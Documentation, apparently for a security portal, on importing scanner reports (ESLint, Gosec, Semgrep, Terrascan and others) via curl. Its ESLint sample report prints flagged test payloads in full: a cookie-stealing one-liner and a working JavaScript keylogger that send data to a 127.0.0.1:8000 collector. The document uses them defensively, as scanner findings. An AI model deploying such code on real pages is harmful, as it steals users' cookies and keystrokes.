Portal Importer Name**: ESLint Scan, GitLab ESLint [ESLint scaner](https://github.com/eslint/eslint) and [ESLint scaner(GitLab) ](https://gitlab.com/gitlab-org/security-products/analyzers/eslint)checks code for **common errors** and **coding style issues**, ensuring that the code is consistent and maintainable. ESLint can detect a wide variety of issues, from simple syntax errors to more complex issues like **security vulnerabilities**. It supports a range of configurations that can be customized to suit your specific needs. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./eslint.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=ESLint Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (ESLint Scan or GitLab ESLint) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:** ```json [{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/bad/payloads/cookie.js", "messages":[{"ruleId":"scanjs-rules/assign_to_src", "severity":1,"message":"Assignment to src can be unsafe", "line":1,"column":1,"nodeType":"AssignmentExpression", "endLine":1,"endColumn":68}],"suppressedMessages":[], "errorCount":0,"fatalErrorCount":0,"warningCount":1, "fixableErrorCount":0,"fixableWarningCount":0,"source": "new Image().src = 'http://127.0.0.1:8000/cookie?c='+document.cookie;\n", "usedDeprecatedRules":[]}, {"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/bad/payloads/keylogger.js", "messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1, "message":"The function setInterval can be unsafe","line":10,"column":1, "nodeType":"CallExpression","endLine":14,"endColumn":9}, {"ruleId":"scanjs-rules/assign_to_src","severity":1, "message":"Assignment to src can be unsafe","line":12,"column":3, "nodeType":"AssignmentExpression","endLine":12,"endColumn":57}], "suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2, "fixableErrorCount":0,"fixableWarningCount":0, "source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n get = window.event?event:e;\n key = get.keyCode?get.keyCode:get.charCode;\n key = String.fromCharCode(key);\n keys+=key;\n}\n\nsetInterval(function(){\n console.log(\"Loop\");\n new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n keys = '';\n}, 8000);\n", "usedDeprecatedRules":[]}, {"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/bad/payloads/payload.js", "messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1, "message":"The function setInterval can be unsafe","line":10,"column":1, "nodeType":"CallExpression","endLine":14,"endColumn":9}, {"ruleId":"scanjs-rules/assign_to_src","severity":1, "message":"Assignment to src can be unsafe","line":12,"column":3, "nodeType":"AssignmentExpression","endLine":12,"endColumn":57}], "suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2, "fixableErrorCount":0,"fixableWarningCount":0, "source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n get = window.event?event:e;\n key = get.keyCode?get.keyCode:get.charCode;\n key = String.fromCharCode(key);\n keys+=key;\n}\n\nsetInterval(function(){\n console.log(\"Loop\");\n new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n keys = '';\n}, 8000);\n", "usedDeprecatedRules":[]}, {"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/good/payloads/cookie.js", "messages":[{"ruleId":"scanjs-rules/assign_to_src","severity":1, "message":"Assignment to src can be unsafe","line":1,"column":1, "nodeType":"AssignmentExpression","endLine":1,"endColumn":68}], "suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":1," fixableErrorCount":0,"fixableWarningCount":0, "source":"new Image().src = 'http://127.0.0.1:8000/cookie?c='+document.cookie;\n","usedDeprecatedRules":[]},{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/good/payloads/keylogger.js","messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1,"message":"The function setInterval can be unsafe","line":10,"column":1,"nodeType":"CallExpression","endLine":14,"endColumn":9},{"ruleId":"scanjs-rules/assign_to_src","severity":1,"message":"Assignment to src can be unsafe","line":12,"column":3,"nodeType":"AssignmentExpression","endLine":12,"endColumn":57}],"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2,"fixableErrorCount":0,"fixableWarningCount":0,"source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n get = window.event?event:e;\n key = get.keyCode?get.keyCode:get.charCode;\n key = String.fromCharCode(key);\n keys+=key;\n}\n\nsetInterval(function(){\n console.log(\"Loop\");\n new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n keys = '';\n}, 8000);\n","usedDeprecatedRules":[]},{"filePath":"/builds/whitespots-public/vulnerable-apps/python-public-example/good/payloads/payload.js","messages":[{"ruleId":"scanjs-rules/call_setInterval","severity":1,"message":"The function setInterval can be unsafe","line":10,"column":1,"nodeType":"CallExpression","endLine":14,"endColumn":9},{"ruleId":"scanjs-rules/assign_to_src","severity":1,"message":"Assignment to src can be unsafe","line":12,"column":3,"nodeType":"AssignmentExpression","endLine":12,"endColumn":57}],"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":2,"fixableErrorCount":0,"fixableWarningCount":0,"source":"console.log(\"ACTIVANDO EL KEYLOGGER...\");\nvar keys='';\ndocument.onkeypress = function(e) {\n get = window.event?event:e;\n key = get.keyCode?get.keyCode:get.charCode;\n key = String.fromCharCode(key);\n keys+=key;\n}\n\nsetInterval(function(){\n console.log(\"Loop\");\n new Image().src = 'http://127.0.0.1:8000/keys?c='+keys;\n keys = '';\n}, 8000);\n","usedDeprecatedRules":[]}] ``` # Gemnasium Dependency Scanning analyzer that uses the GitLab Advisory Database **AppSec Portal Importer Name**: GitLab Gemnasium [GitLab Gemnasium](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium) is a tool for automatically detecting vulnerabilities in project dependencies. It scans the used **libraries** and **components** to identify known vulnerabilities, providing developers with information about the need to update or replace dependencies to mitigate security risks. **Curl example** {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=GitLab Gemnasium" -F "branch=dev" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (GitLab Gemnasium) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch # Gosec Gosec is a security scanner for Go programming language code. **Auditor Job Name**: Gosec Scanner\ **Auditor image:** \ `registry.gitlab.com/whitespots-public/security-images/gosec:2.20.0`\ **AppSec Portal Importer Name**: Gosec Scanner It is designed to identify potential vulnerabilities in the **Go** codebase, including common issues such as **SQL injections**, **buffer overflows**, and **cross-site scripting (XSS)** vulnerabilities. [Gosec](https://github.com/securego/gosec) scans Go code by analyzing the *abstract syntax tree (AST)* of the program. It performs data flow analysis to identify potential security issues and reports them to the user. One interesting feature of Gosec is its ability to scan for issues in code that has not yet been compiled. This means that developers can catch security issues before they even get a chance to be introduced into the codebase. Gosec is also highly customizable, with options for output formats, severity levels, and more. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./gosec.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Gosec Scanner" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Gosec Scanner) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:** ```json { "rules": [ { "id": "rule1", "name": "just_some_rule_name", "description": "just_some_description", "engineId": "test", "cleanCodeAttribute": "FORMATTED", "impacts": [ { "softwareQuality": "MAINTAINABILITY", "severity": "HIGH" }, { "softwareQuality": "SECURITY", "severity": "LOW" } ] }, { "id": "rule2", "name": "just_some_other_rule_name", "description": "just_some_description", "engineId": "test2", "cleanCodeAttribute": "IDENTIFIABLE", "impacts": [ { "softwareQuality": "RELIABILITY", "severity": "LOW" } ] } ], "issues": [ { "ruleId": "rule1", "effortMinutes": 40, "primaryLocation": { "message": "fix the issue here", "filePath": "file1.js", "textRange": { "startLine": 1, "startColumn": 2, "endLine": 3, "endColumn": 4 } } }, { "ruleId": "rule1", "primaryLocation": { "message": "fix the bug here", "filePath": "file2.js", "textRange": { "startLine": 3 } } }, { "ruleId": "rule1", "primaryLocation": { "message": "fix the bug here", "filePath": "file3.js" } }, { "ruleId": "rule1", "primaryLocation": { "message": "fix the bug here", "filePath": "file3.js" }, "secondaryLocations": [ { "message": "fix the bug here", "filePath": "file1.js", "textRange": { "startLine": 1 } }, { "filePath": "file2.js", "textRange": { "startLine": 2 } } ] }, { "ruleId": "rule2", "effortMinutes": 40, "primaryLocation": { "message": "fix the bug here", "filePath": "file3.js" }, "secondaryLocations": [ { "message": "fix the bug here", "filePath": "file1.js", "textRange": { "startLine": 1 } }, { "filePath": "file2.js", "textRange": { "startLine": 2 } } ] } ] } ``` # Hadolint Dockerfile linter, validate inline bash, written in Haskell **AppSec Portal Importer Name**: Hadolint, Hadolint Dockerfile check\ **Auditor image:** \ `registry.gitlab.com/whitespots-public/security-images/hadolint:2.12.0` [Hadolint ](https://github.com/hadolint/hadolint)is a specialized **Dockerfile** linter designed to ensure the correctness of Dockerfile syntax, adherence to best practices, and the identification of potential issues related to Docker image creation. It focuses on code quality and conformity to Dockerfile standards, assisting in the creation of secure and well-structured Docker images. Hadolint analyzes Dockerfiles by checking for common mistakes, adherence to Dockerfile guidelines, and potential security issues. This tool can help developers and DevOps teams maintain high-quality Dockerfiles, ensuring that the resulting images are secure, efficient, and error-free. One notable feature of Hadolint is its ability to provide feedback on Dockerfiles even before the images are built, allowing developers to catch potential issues early in the development process. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Hadolint Dockerfile check" -F "branch=dev" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Hadolint or Hadolint Dockerfile check) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch **Report example:** 
    {
   "line":1,"code":"DL3006","message":"Always tag the version of an image explicitly",
       "column":1,"file":"./test/smoke/Dockerfile","level":"warning"
    },
    {
    "line":3,"code":"DL3018","message":"Pin versions in apk add. Instead of `apk add <package>` use `apk add <package>=<version>`",
        "column":1,"file":"./test/smoke/Dockerfile","level":"warning"
    },
    {
    "line":3,"code":"DL3019","message":"Use the `--no-cache` switch to avoid the need to use `--update` and remove `/var/cache/apk/*` when done installing packages",
        "column":1,"file":"./test/smoke/Dockerfile","level":"info"
    }
]
# KICS GitLab Analyzer for Infrastructure as Code (IaC) projects **AppSec Portal Importer Name**: GitLab KICS [GitLab KICS](https://gitlab.com/gitlab-org/security-products/analyzers/kics) (Keeping Infrastructure as Code Secure) is a tool for identifying security vulnerabilities and policy violations in **infrastructure code** (IaC). It supports various IaC formats, such as **Terraform**, **Kubernetes**, **AWS CloudFormation**, and **Azure Resource Manager templates**. KICS helps identify issues in infrastructure code, enabling developers and operations teams to mitigate potential risks. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=GitLab KICS" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (GitLab KICS) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch # PHPCodeSniffer **Auditor Job Name**: PHP Security Audit v2\ **Auditor image:** registry.gitlab.com/whitespots-public/security-images/phpcs-security-audit:2.0.1\ **AppSec Portal Importer Name**: PHPCodeSniffer Scanner tokenizes PHP files and detects violations of a defined set of coding standards. [PHPCodeSniffer](https://github.com/PHPCSStandards/PHP_CodeSniffer/) is a set of two PHP scripts; the main `phpcs` script that tokenizes PHP, JavaScript and CSS files to detect violations of a defined coding standard, and a second `phpcbf` script to automatically correct coding standard violations. PHP\_CodeSniffer is an essential development tool that ensures your code remains clean and consistent. **Curl example** {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./phpcs.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=PHPCodeSniffer" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (PHPCodeSniffer) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:** ``` $ phpcs /path/to/code/myfile.php FILE: /path/to/code/myfile.php -------------------------------------------------------------------------------- FOUND 5 ERROR(S) AFFECTING 2 LINE(S) -------------------------------------------------------------------------------- 2 | ERROR | Missing file doc comment 20 | ERROR | PHP keywords must be lowercase; expected "false" but found "FALSE" 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 51 | ERROR | Missing function doc comment 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6 -------------------------------------------------------------------------------- ``` # Retire.js scanner detecting the use of JavaScript libraries with known vulnerabilities **Auditor Job Name**: Retirejs\ **Auditor image:** registry.gitlab.com/whitespots-public/security-images/retirejs:4.3.1\ **AppSec Portal Importer Name**: Retire.js Scan [Retire.js](https://github.com/RetireJS/retire.js) is a specialized tool designed to analyze **JavaScript** code for deprecated and vulnerable libraries and dependencies. It focuses on identifying outdated or known vulnerable components within JavaScript code, contributing to the enhancement of web application security. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./retirejs.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Retire.js Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Retire.js Scan) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor](/auditor) is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 ```json { "version":"4.3.1", "start":"2023-12-26T14:29:58.172Z", "data":[], "messages":[], "errors":[], "time":0.201 } ``` # Semgrep Semgrep is a fast, open-source tool that scans source code to find programming errors, security vulnerabilities, and policy violations. **Auditor Job Name**: Semgrep, Gitlab Semgrep, Gitlab Php\ **Auditor image:** \ `registry.gitlab.com/whitespots-public/security-images/semgrep:1.74.0`\ `registry.gitlab.com/whitespots-public/security-images/semgrep-sast-gitlab:4`\ **AppSec Portal Importer Name**: Semgrep JSON Report, [GitLab Semgrep](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) [Semgrep](https://github.com/semgrep/semgrep) supports several programming languages such as: * Python * JavaScript * Java * Go * Ruby * TypeScript * C# * Kotlin * PHP * Swift The Semgrep can be used to scan for security issues such as: * SQL injection * Cross-site scripting (XSS) * Command injection * Authentication and authorization issues * Insecure cryptography * Code injection * Path traversal * File inclusion * Information leakage * XML external entity injection (XXE) * Server-side request forgery (SSRF) * and more One interesting feature of Semgrep is its ability to detect security issues in **complex codebases**. It uses a powerful pattern-matching engine to identify vulnerabilities and is highly customizable. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Semgrep JSON Report" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Semgrep JSON Report or GitLab Semgrep) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:**
# SpotBugs **Auditor Job Name**: Spotbugs\ **Auditor image:** \ `registry.gitlab.com/whitespots-public/security-images/spotbugs:5.0.0`\ **AppSec Portal Importer Name**: Find Security Bugs Scan (GitLab SAST Report) [SpotBugs](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) analyzes **Java** source code for possible problems in security, efficiency, and programming style. It is based on the FindBugs project, but provides additional functionality and improved bug detection capabilities. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./gl-sast-report.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Find Security Bugs Scan (GitLab SAST Report)" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Find Security Bugs Scan (GitLab SAST Report)) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor](/auditor) is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 # Terrascan Terrascan is an open-source tool that is used to detect compliance and security violations across Infrastructure as Code (IaC) frameworks. **Auditor Job Name**: Terrascan\ **Auditor image:** \ `registry.gitlab.com/whitespots-public/security-images/terrascan:1.18.11`\ **AppSec Portal Importer Name**: Terrascan Scan [Terrascan](https://github.com/tenable/terrascan) ensures that IaC definitions adhere to security best practices and can detect issues that may cause security breaches, data loss, or service disruptions. Terrascan supports several popular IaC frameworks, including **Terraform**, **Kubernetes**, **Helm**, **AWS CloudFormation**, **Azure Resource Manager**, and **Google Cloud Deployment Manager**. The tool uses a set of **predefined policies** that can be customized to match the organization's specific security and compliance requirements. The policies are based on industry-standard security frameworks such as **NIST**, **CIS**, **PCI-DSS**, and **GDPR**. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./terrascan.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Terrascan Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Terrascan Scan) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor](/auditor) is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:** ```json { "results": { "scan_errors": [ { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/db", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/db' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/assessment", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/assessment' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/assets", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/assets' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/development", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/development' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/solution", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/docs/solution' has no terraform config files" }, { "iac_type": "terraform", "directory": "/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/scripts", "errMsg": "directory '/builds/whitespots-public/vulnerable-apps/vulnerable-java-app/scripts' has no terraform config files" }, { "iac_type": "terraform", "directory": 